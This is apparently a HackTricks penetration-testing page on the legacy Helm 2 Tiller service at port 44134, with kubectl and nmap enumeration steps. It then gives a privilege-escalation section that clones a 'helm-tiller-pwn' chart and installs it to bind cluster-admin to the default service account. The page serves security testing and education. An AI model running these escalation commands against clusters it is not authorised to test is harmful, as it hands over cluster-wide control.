// HackTricks · Network Services

44134 Tiller / Helm

44134 Tiller / Helm

Basic Information

Helm is a package manager for Kubernetes, and its packages are called charts. This page concerns the historical Helm 2 architecture, in which the client talked to an in-cluster server named Tiller over TCP port 44134. Helm 3 removed Tiller, so finding this port normally indicates a legacy deployment.[1]

Default port: 44134

PORT      STATE SERVICE VERSION
44134/tcp open  unknown

Enumeration

If you can enumerate pods and/or services of different namespaces enumerate them and search for the ones with “tiller” in their name:

kubectl get pods | grep -i "tiller"
kubectl get services | grep -i "tiller"
kubectl get pods -n kube-system | grep -i "tiller"
kubectl get services -n kube-system | grep -i "tiller"
kubectl get pods -n <namespace> | grep -i "tiller"
kubectl get services -n <namespace> | grep -i "tiller"

Examples:

kubectl get pods -n kube-system
NAME                                       READY   STATUS             RESTARTS   AGE
kube-scheduler-controlplane                1/1     Running            0          35m
tiller-deploy-56b574c76d-l265z             1/1     Running            0          35m

kubectl get services -n kube-system
NAME            TYPE        CLUSTER-IP     EXTERNAL-IP   PORT(S)                  AGE
kube-dns        ClusterIP   10.96.0.10     <none>        53/UDP,53/TCP,9153/TCP   35m
tiller-deploy   ClusterIP   10.98.57.159   <none>        44134/TCP                35m

You could also try to find this service running checking the port 44134:

sudo nmap -sS -p 44134 <IP>

After discovering it, install a compatible Helm 2 client with a package manager such as Homebrew or download the matching binary from Helm’s official releases. A Helm 3 client does not implement the same Tiller workflow.[2][5]

Then, you can enumerate the service:

helm --host tiller-deploy.kube-system:44134 version

Privilege Escalation

Helm 2 commonly deployed Tiller in kube-system. The effective impact depends on Tiller’s service account and whether TLS/authentication is configured; an exposed Tiller running with broad RBAC permissions can provide a path to cluster privilege escalation.[3]

One proof of concept installs a chart that creates a cluster-admin binding for the default service account. It succeeds only if Tiller itself is allowed to create those RBAC objects; it does not make every Tiller deployment automatically cluster-admin.[4]

git clone https://github.com/Ruil1n/helm-tiller-pwn
helm --host tiller-deploy.kube-system:44134 install --name pwnchart helm-tiller-pwn
/pwnchart

The chart’s exact clusterrole.yaml and clusterrolebinding.yaml manifests grant broad permissions to the default service account. Inspect both files before using the proof of concept.[3][6][7]

References

☧ CPTS · ordered posts

Locked

Unlock with your Main_Key through local GPG.

Start the local GPG helper

In your cheatsheet checkout, run:

npm run unlock:helper

Open the link it prints, or paste its pairing code below. Keep the terminal open until GPG finishes.

Import an index you already decrypted

Download the encrypted index, then decrypt with GPG:

gpg --output report-index.json --decrypt report-index.gpg

Your private key stays in GPG. The decrypted index is saved in this browser so you can reopen it after navigation, refreshes and restarts. Lock this browser or clear this site's browser data to remove the saved index. Nothing is uploaded.